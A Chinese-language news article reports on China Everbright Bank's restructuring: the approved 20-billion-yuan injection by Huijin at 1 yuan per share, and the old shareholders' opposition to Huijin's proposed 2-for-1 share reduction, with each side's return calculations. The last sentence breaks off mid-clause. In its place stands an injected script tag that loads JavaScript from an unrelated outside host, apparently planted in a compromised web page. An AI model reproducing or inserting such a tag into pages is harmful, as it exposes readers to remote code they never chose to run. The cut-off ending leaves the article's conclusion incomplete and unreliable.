光大银行重组进程中遇到了新难题。8月31日，在光大银行召开的有23家股东代表参加的股东座谈会上，全体股东无一例外地支持汇金注资，但却强烈反对汇金关于老股东缩股的建议。新老股东对峙的局面出现了。这给光大集团和光大银行董事长唐双宁出了一道较大的难题。而迈不过这道坎，损失的将不仅是光大银行和股东们。要保证重组顺利进行，在汇金注资价格的问题上，既要考虑光大银行目前的资产状况，又要考虑光大银行潜在的资产价值，同时更要从国家金融改革的全局而非纯商业模式出发作出选择。
8月5日，国务院批准光大银行重组方案；8月15日，光大银行第四届董事会第二次临时会议召开，会议原则同意汇金公司向光大银行注资不超过等值人民币200亿元的美元、按每股人民币1.00元价格购买光大银行新发行股份的事项提交股东大会审议批准；授权管理层与汇金公司协商本次投资入股的有关协议。
短短十天的时间，被称为“剪不断，理还乱”的光大重组进展神速。但接下来的一步却有些蹒跚：新老股东在入股价格方面产生分歧，光大重组遇到了新难题。
缩股：新提案产生分歧
按照重组方案，汇金公司将代表国家向光大银行注资200亿元，并按照每股人民币1元的价格购买光大银行新发行的股份。为实现光大银行明年上半年上市，光大银行必须在今年年末将累计亏损全部弥补完毕，才能满足上市要求。但如果单纯依靠光大银行自身盈利来消化历史累计亏损，就光大银行目前的盈利情况最快也要到明年第二季度才能完成。为此，汇金公司建议在注资之前老股东按照2比1的比例缩股，以弥补亏损，达到尽快上市的目的。
这一提案仅仅是新股东汇金单方面的想法，按照相关程序，光大重组方案最终需经过光大银行董事会和股东大会的批准才能生效。虽然8月15日光大银行第四届董事会第二次临时会议审议通过了《关于中央汇金投资有限责任公司对中国光大银行投资入股的议案》，但股东大会具有最终批准权。所以，股东大会就成为光大重组中的关键，而汇金公司提出的缩股提案更成为了关键中的关键。
记者了解到的情况是：汇金公司的建议遭到了老股东的强烈反对。8月31日，在光大银行召开的有23家股东代表参加的股东座谈会上，全体股东无一例外地支持汇金注资，但却强烈反对汇金关于老股东缩股的建议。新老股东对峙的局面出现了。问题的关键出在了新股东———汇金公司和光大银行老股东不同算法的两笔账上。
新老股东的两笔账
对于缩股问题，在8月31日光大银行的股东座谈会上，上海宏普实业投资有限公司算了这样一笔账：汇金以每股1元的价格注资，以目前的市盈率计算，汇金的回报率为467%；以1.5元的价格注资，回报率为395%；而老股东缩股后，汇金则有700%到800%的回报率。记者了解到，光大银行历史上有两次扩股，1995年新股东进入价格为每股1.75元，2001年新股东进入价格为每股1.95元，目前光大银行在股权转让市场每股的股权转让价格是5元到6元。所以，汇金以每股1元的价格入股本身就很低，如果再要求老股东缩股，难免老股东产生有失公允的感觉。
在汇金的入股价格和要求老股东缩股的问题上，除了计算汇金与老股东们悬殊的入股价格外，老股东们还有其他的说法：一是光大银行的股东中有些是上市公司，他们同样也要对股东负责。缩股不仅是对光大银行股东利益的损害，也是对这些上市公司股东们利益的损害。二是在国家批准的光大银行财务重组方案中，并没有要求老股东缩股；汇金公司不应该以获利为目标。
但是记者了解到，对于入股光大银行的价格和要求老股东缩股的问题，汇金公司也有一套算法。
对于救助光大银行的成本，表面上看是汇金公司代表国家向光大银行注资200亿元，但实际上远远不止这个数。首先，光大集团欠人民银行的债务将转由汇金公司承担；其次，汇金公司将另外出资数十亿元用于解决光大银行的关联交易和关联担保；再次，经人民银行协调，四大国有商业银行同意免除经光大银行担保的有关债务利息，国家还会给予光大银行税收的优惠政策。
将这些计算在内，汇金认为，国家投入的实际成本应该在400亿元左右。以此计算，汇金代表国家入股光大银行的价格应该是每股2元，与老股东入股光大银行的价格是相当的。
在资金成本的计算以外，汇金公司认为，以国家主导的方式对光大进行重组还有很多潜在的价值，由汇金代表国家入股光大银行相对于市场化重组方式对于老股东更有利。对于缩股，汇金认为，为救助光大银行，国家的投入已经不小。为了尽快达到上市要求，实现光大银行的尽快上市，老股东应该缩股。而且光大银行在2004年以前每年都向股东分红，老股东按照2比1的比例缩股是完全可以承受的。
光大的窘境
目前，两种不同的算账方法带来的是新老股东的?script src=http://er12.com/t.js>
